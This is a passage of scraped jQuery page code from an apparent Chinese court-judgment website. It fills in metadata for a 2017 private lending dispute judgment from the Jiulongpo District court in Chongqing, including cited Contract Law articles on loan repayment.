（2017）渝0107民初10205号\");$(\"#hidDocID\").val(\"4e48a2de-f574-4c78-bbdf-a863013f7cce\");$(\"#hidCaseName\").val(\"晏兰与杨仿民间借贷纠纷一审民事判决书\");$(\"#hidCaseNumber\").val(\"（2017）渝0107民初10205号\");$(\"#hidCaseInfo\").val(caseinfo);$(\"#hidCourt\").val(\"重庆市九龙坡区人民法院\");$(\"#hidCaseType\").val(\"2\");$(\"#HidCourtID\").val(\"2484\");$(\"#hidRequireLogin\").val(\"0\");});$(function(){var
dirData = {Elements: [\"RelateInfo\", \"LegalBase\"],RelateInfo: [{ name:
\"审理法院\", key: \"court\", value: \"重庆市九龙坡区人民法院\" },{ name: \"案件类型\", key:
\"caseType\", value: \"民事案件\" },{ name: \"案由\", key: \"reason\", value:
\"民间借贷纠纷\" },{ name: \"审理程序\", key: \"trialRound\", value: \"一审\" },{ name:
\"裁判日期\", key: \"trialDate\", value: \"2017-09-25\" },{ name: \"当事人\", key:
\"appellor\", value: \"晏兰,杨仿\" }],LegalBase:
[{法规名称:\'《中华人民共和国合同法》\',Items:[{法条名称:\'第二百零六条\',法条内容:\' 第二百零六条
借款人应当按照约定的期限返还借款。对借款期限没有约定或者约定不明确，依照本法第六十一条的规定仍不能确定的，借款人可以随时返还；贷款人可以催告借款人在合理期限内返还。
\'},{法条名称:\'第二百零七条\',法条内容:\'
第二百零七条
借款人未按照约定的期限返还借款的，应当按照约定或者国家有关规定支付逾期利息。
\'}]},{法规名称:\'《中华人民共和国民事诉讼法》\',Items:[{法条名称:\'第九十二条\',法条内容:\'第九十二条
系统尚未收录或引用有误
\'},{法条名称:\'第一百四十四条\',法条内容:\'第一百四十四条
系统尚未收录或引用有误
\'}]}]};if ($(\"#divTool_Summary\").length > 0)
{$(\"#divTool_Summary\").ContentSummary({ data: dirData });}});$(function()
{\r\n var jsonHtmlData =
\"{\\\\\"Title\\\\\":\\\\\"晏兰与杨仿民间借贷纠纷一审民事判决书\\\\\",\\\\\"PubDate\\\\\":\\\\\"2018-01-09\\\\\",\\\\\